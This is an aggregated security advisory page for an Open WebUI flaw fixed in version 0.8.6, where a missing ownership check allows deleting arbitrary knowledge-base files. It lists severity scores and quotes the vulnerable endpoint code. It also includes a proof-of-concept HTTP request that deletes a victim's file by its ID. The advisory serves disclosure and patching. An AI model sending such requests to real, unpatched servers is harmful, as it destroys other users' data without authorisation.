5.4medium
Open WebUI has unauthorized deletion of knowledge files
- Severity
- 5.4medium CVSS:3.1 by GitHub_M
- Exploit likelihood
- 0.44% (higher than 30% of CVEs)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-26gm-93rw-cchfPYSEC-2026-2693
Description
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to version 0.8.6, an access control check is missing when deleting a file from a knowledge base. The only check being done is that the user has write access to the knowledge base (or is admin), but NOT that the file actually belongs to this knowledge base. It is thus possible to delete arbitrary files from arbitrary knowledge bases (as long as one knows the file id). Version 0.8.6 patches the issue.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| open-webui open-webui | < 0.8.6 | CVE List |
| open-webui (PyPI) | before 0.8.6 | GitHub Advisory Database, PyPA Advisory Database |
| openwebui open_webui | before 0.8.6 | NVD |
All scores
| GitHub_M | 5.4medium CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L |
| GitHub | 5.4medium CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L |
| NVD | 8.1high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H |
| PyPA Advisory Database | 5.4medium CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L |
Classification
SSVC (CISA-ADP): exploitation poc, automatable no, technical impact partial.
What each source says
CVE List
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to version 0.8.6, an access control check is missing when deleting a file from a knowledge base. The only check being done is that the user has write access to the knowledge base (or is admin), but NOT that the file actually belongs to this knowledge base. It is thus possible to delete arbitrary files from arbitrary knowledge bases (as long as one knows the file id). Version 0.8.6 patches the issue.
GitHub Advisory Database
Summary
An access control check is missing when deleting a file from a knowledge base. The only check being done is that the user has write access to the knowledge base (or is admin), but NOT that the file actually belongs to this knowledge base. It is thus possible to delete arbitrary files from arbitrary knowledge bases (as long as one knows the file id)
Details
The source code at https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/knowledge.py#L803 does not properly validate that the file being deleted belongs to the current knowledge base:
@router.post("/{id}/file/remove", response_model=Optional[KnowledgeFilesResponse])
def remove_file_from_knowledge_by_id(
id: str,
form_data: KnowledgeFileIdForm,
delete_file: bool = Query(True),
user=Depends(get_verified_user),
db: Session = Depends(get_session),
):
knowledge = Knowledges.get_knowledge_by_id(id=id, db=db)
[...]
# Note : Access control check on the knowledge base
if (
knowledge.user_id != user.id
and not AccessGrants.has_access(
user_id=user.id,
resource_type="knowledge",
resource_id=knowledge.id,
permission="write",
db=db,
)
and user.role != "admin"
):
raise HTTPException(
status_code=status.HTTP_400_BAD_REQUEST,
detail=ERROR_MESSAGES.ACCESS_PROHIBITED,
)
file = Files.get_file_by_id(form_data.file_id, db=db)
[...]
# Note : No checks on the file
if delete_file:
try:
# Remove the file's collection from vector database
file_collection = f"file-{form_data.file_id}"
if VECTOR_DB_CLIENT.has_collection(collection_name=file_collection):
VECTOR_DB_CLIENT.delete_collection(collection_name=file_collection)
except Exception as e:
log.debug("This was most likely caused by bypassing embedding processing")
log.debug(e)
pass
# Delete file from database
Files.delete_file_by_id(form_data.file_id, db=db)
[...]
PoC
Victim has a knowledge base with a file (id: 9db6dcee-bb3b-483e-aaf3-310fda366af1) Attacker creates their own collection (id: dde9e2b6-21c9-4aa1-a1cf-8cb0e4392f2b) Attacker deletes the victim file from their own collection:
POST /api/v1/knowledge/dde9e2b6-21c9-4aa1-a1cf-8cb0e4392f2b/file/remove HTTP/1.1
Host: gaius-neo-val.fr.space.corp
Authorization: Bearer eyJhbGciOiJIUzI1[...]nHiaod-3vfNE0
[...]
{"file_id":"9db6dcee-bb3b-483e-aaf3-310fda366af1"}
-----
HTTP/1.1 200 OK
[...]
The file is then deleted from the victim's knowledge base.
Impact
Arbitrary file deletion
NVD (es)
Open WebUI es una plataforma de inteligencia artificial autoalojada diseñada para operar completamente sin conexión. Antes de la versión 0.8.6, falta una verificación de control de acceso al eliminar un archivo de una base de conocimiento. La única verificación que se realiza es que el usuario tenga acceso de escritura a la base de conocimiento (o sea administrador), pero NO que el archivo realmente pertenezca a esta base de conocimiento. Por lo tanto, es posible eliminar archivos arbitrarios de bases de conocimiento arbitrarias (siempre que se conozca el ID del archivo). La versión 0.8.6 corrige el problema.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-29070 changed 2026-03-30 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-26gm-93rw-cchf changed 2026-07-13 | CC-BY-4.0 |
| NVD | CVE-2026-29070 changed 2026-06-17 | Public domain |
| PyPA Advisory Database | PYSEC-2026-2693 changed 2026-07-13 | CC-BY-4.0 |